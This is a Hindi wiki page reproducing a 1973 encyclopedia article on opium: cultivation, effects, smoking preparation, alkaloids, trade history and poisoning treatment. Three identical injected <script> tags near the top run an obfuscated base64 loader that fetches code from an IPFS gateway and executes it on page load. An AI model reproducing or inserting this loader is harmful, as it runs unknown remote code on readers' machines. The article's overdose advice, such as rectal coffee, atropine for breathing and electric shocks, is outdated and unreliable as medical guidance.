अफ़ीम

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

लेख सूचना
अफ़ीम
पुस्तक नाम हिन्दी विश्वकोश खण्ड 1
पृष्ठ संख्या 155,56
भाषा हिन्दी देवनागरी
संपादक सुधाकर पाण्डेय
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1973 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक भगवानदास वर्मा।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अफीम एक पौधे से प्राप्त होती है जिसका लैटिन नाम पैपावेर सौम्नीफ़ेरम है। यह पौधा तीन से पाँच फुट तक ऊँचा होता है। इसकी ढोंढ़ी (फल) को पेड़ में ही कच्ची अवस्था में छिछला चीर दिया जाता है (नश्तर लगा दिया जाता है) और उससे जो रस निकलता है उसी को सुखाने और साफ करने से अफीम बनती है।

उपज

सबसे अधिक अफीम भारत में उत्पन्न होती है। अन्य देश, जहाँ अफीम उत्पन्न होती है, तुर्की (टर्की), ग्रीस, ईरान और चीन हैं। भारत में साधारणत: सफेद फलवाला पौधा बोया जाता है। बीज नवंबर में बोया जाता है, फूल लगभग जनवरी के अंत में लगता है और प्राय: एक महीने बाद ढोंढ़ी लगभग मुर्गी के अंडे के बराबर हो जाती है। तब इसको पाछा जाता है, अर्थात्‌ नश्तर लगाया जाता है। यह काम तीसरे पहर से लेकर अँधेरा होने तक किया जाता है और दूसरे दिन सबेरे निकले हुए दूधिया रस को काछ लिया जाता है। इस रस को हवा में तीन-चार सप्ताह तक सूखने दिया जाता है और तब कारखाने में शुद्ध करने के लिए भेज दिया जता है। गाजीपुर (उत्तर प्रदेश) में इसके लिए एक सरकारी बड़ा कारखाना है। कारखाने में बड़े बर्तनों में डालकर अफीम को गूंथा जाता है और तब गोला या ईटं बनाकर बेचा जाता है।

भारत की अफीम अधिकतर विदेश ही जाती है, क्योंकि यहाँ के लोग अफीम खाना या तंबाकू की तरह पीना बहुत बुरा समझते हैं। यूरोप में अफीम से इसके रासायनिक पदार्थों को अलग करके मॉरफ़ीन, कोडीन इत्यादि ओषधियाँ बनाते हैं।

गुण

अफ़ीम का स्वाद कड़ूआ होता है और खाने से मिचली आतीं है। इसकी गंध बड़ी लाक्षणिक होती है---मादक और भारी। चौथाई से तीन ग्रेन तक अफीम औषध के रूप में एक मात्रा (खुराक) समझी जाती है। इसके खाने से पीड़ा का अनुभव मिट जाता है, गहरी नींद आती है और आँख की पुतलियाँ छोटी हो जाती हैं। नींद खुलने पर भूख मिट जाती है, कुछ मिचली आती है, कोष्ठबद्धता (कब्ज) होती है, सर भारी जान पड़ता या दुखता है। परंतु यदि बहुत कम मात्रा में अफीम खाई जाए तो इसका प्रभाव उत्तेजक और कल्पनाशक्तिवर्धक होता है। बार-बार अफीम खाने पर दिनों-दिन और अधिक की आवश्यकता पड़ती जाती है। फिर ऐसी लत लग जाती है कि अफीम छोड़ना कठिन हो जाता है। ऐसे व्यक्ति भी देखे गए हैं जाए एक छटाँक अफीम रोज खाते थे।

चित्र : अफीम का पौधा चित्र:383-1.jpg
पत्तियाँ, फूल और ढोंढी।


अधिकतर लोग अफीम की गोली खाते हैं या एसे घोलकर पीते हैं, परंतु विदेश में कुछ लोग मॉरफ़ीन (अफीम से निकले रसायन) का इंजेक्शन लेते हैं। कुछ लोग तो अफीम से उत्पन्न आह्लाद के लिए इसका सेवन करते हैं, परंतु अधिकतर लोग पीड़ा से छुटकारा पाने के लिए, डाक्टर की राय से या स्वयं अपने से, इसका सेवन आरंभ करते हैं और महीने बीस दिन के पश्चात्‌ इसे छोड़ नहीं पाते। डाक्टर चोपड़ा ने इस विषय पर बहुत अध्ययन किया है। उनके अनुसार इसका सेवन करनेवालों में से लगभग 50 प्रतिशत लोग शारीरिक पीड़ा से छुटकारा पाने के लिए अफीम खाते हैं, बीस-पच्चीस प्रतिशत मानसिक क्लेश या चिंता से छुटकारा पाने के लिए और केवल पंद्रह-बीस प्रतिशत शौक के लिए।

चंडू

कुछ लोग अफीम को तंबाकू की तरह आँच पर तपाकर पीते हैं। इस काम के लिए बनाई गई अफीम को चंडू कहते हैं। इसके लिए अफीम पानी में उबालते हैं और ऊपर से मैल कांछकर फेंक देते हैं। फिर उसे सुखाकर रखते हैं। पीने के लिए लोहे की तीली पर जरा सा निकालकर उसे दीप शिखा में गरम करते हैं (भूनते हैं) और तब विशेष नली में रखकर तुरंत लेटे लेटे पीते हैं। एक फूंक में पीना समाप्त हो जाता है। नशा तुरंत होता है। अधिक आवश्यकता होती है तो फिर सब काम दोहराया जाता है।

अफीम के ऐलकनायड

अफीम की संरचना बड़ी जटिल है। इसमें से लगभग १६ विभिझ रासायनिक पदार्थ पृथक्‌ किए गए हैं जिनमें मॉरफ़ीन, कोडीन, नार्सीन और थीबेन मुख्य हैं। मनुष्य शरीर पर माँरफ़ीन का प्रभाव लगभग वही होता है जो अशोधित अफीम का। इसलिए मारफ़ीन को शोधित अफीम समझा जा सकता है। 9 प्रतिशत से कम मॉरफ़ीनवाली अफीम को अमरीका में दवा के लिए बेकार समझा जाता है। युवा पुरुष के लिए औषधि के रूप में में मॉरफ़ीन की एक मात्रा (खुराक) 1। 8 से 1। 4 ग्रेन तक होती है। कोडीन का प्रभाव बहुत कुछ मॉरफ़ीन की तरह का ही होता है परंतु उतना तीव्र नहीं। थीबेन प्रबल बिष है। यह मेरुकेंद्रों को उत्तेजित तथा विषाक्त करता है तथा हाथ-पैर में ऐंठन और छटपटाहट उत्पन्न करता है।

सरकारी नियीमची के आचरण का स्तर इतना गिर जाता है कि है कि प्रत्येक भला आदमी चाहता है कि संसार से अफीम का सेवन उठ जाए। भारत में तो लोग इसे घृणा की दृष्टि से देखते ही हैं, इंग्लैंड में भी सन्‌ 1843 में एक प्रस्ताव पार्लियामेंट में उपस्थित किया गया था कि सरकार अफीम के व्यापार का त्याग करे, क्योंकि यह ईसाई सरकार के सम्मान और कर्तव्य के पूर्णतया विरुद्ध है। परंतु यह प्रस्ताव स्वीकृत न हो सका। सन्‌ 1840 में चीन सरकार ने अफीम के आयात पर रोक लगा दी और इस कारण चीन तथा ग्रेट-ब्रिटेन में युद्ध छिड़ गया। १५ वर्ष बाद इसी बात को लेकर फिर दोनों राज्यों में लड़ाई लगी और उसमें फ्रांस भी ग्रेट-ब्रिटेन की ओर से सम्मिलित हुआ। चीनवाले हार अवश्य गए, परंतु वह प्रश्न दब न सका। 1907 में भारत की ब्रिटिश सरकार और चीन की सरकार में समझौता हुआ कि दस वर्ष में अफीम का भेजना भारत बंद कर देगा। इस समझौते के अनुसार कुछ वर्षों तक तो चीन में अफीम जाना कम होता रहा; परंतु अंत तक समझौते का निर्वाह न हो सका। 1909 में अमरीका के प्रेसीडेंट रूजवेल्ट ने एक आयोग (कमिशन) बैठाया। फिर 1913, 1914, 1919, 1924, 1925, 1930 में कई राज्यों के प्रतिनिधियों की सभाएँ हुईं। परंतु यह समस्या कभी हल न हो पाई। अब तो चीन में साम्यवादी गणतंत्र राज्य होने के बाद इस विषय में बड़ी कड़ाई बरती जा रही है और अफीमचियों की संख्या नगण्य हो गई है। भारत सरकार ने अपने देश में अफीम की खपत कम करने के लिए यह आज्ञा निकाल दी है कि अफीमची लोग डाक्टरी जाँच के बाद पंजीकृत किए जाएँगे (उनका नाम रिजस्टर में लिखा जाएगा)। उनकों न्यूनतम आवश्यक मात्रा में अफीम मिला करेगी और यह मात्रा धीरे-धीरे कम कर दी जाएगी।

अफीम का उपचार

6 ग्रेन या अधिक अफीम खाने से व्यक्ति मर जा सकता है। अफीम खाने के आरंभिक लक्षण वे ही होते हैं जो अधिक मदिरा पीने के, मस्तिष्क में रक्तस्राव के अथवा कुछ अन्य रोगों के। परंतु इन सभी के लक्षणों में सूक्ष्म भेद होते हैं, जिन्हें डाक्टर पहचान सकता है। अफीम के कारण चेतनाहीन व्यक्ति की त्वचा ठंडी और पसीने से चिपचिपी हो जाती है। आँख की पुतलियाँ (तारे) सुई के छेद की तरह छोटी हो जाती हैं और होंठ नीले पड़ जाते हैं। साँस धीरे-धीरे चलती है और नाड़ी भी मंद तथा अनियमित हो जाती है। साँस रुकने से मृत्यु हो जाती है। उपचार के लिए पेट में आधे-आधे घंटे पर पानी चढ़ाकर धोया जाता है। दवा देकर उलटी (वमन) कराई जाती है। कहवा पिलाना लाभदायक है। डाक्टर कहवा में पाए जानेवाले रासायनिक पदार्थ को गुदामार्ग से भीतर चढ़ाते हैं। साँस को उत्तेजित करने के लिए ऐट्रोपीन सल्फेट के इंजेक्शन लगाए जाते हैं। रोगी को जाग्रत रखने के लिए सब उपाय करना चाहिए। उसे चलाना चाहिए, अमोनिया सुंघानी चाहिए या बिजली का हल्का झटका (शॉक) लगाना चाहिए। साँस के रुकते ही कृत्रिम श्वसन चालू करना चाहिए। जब तक हृदय धड़कता रहे निराश न होना चाहिए और कृत्रिम श्वसन जारी रखना चाहिए।



टीका टिप्पणी और संदर्भ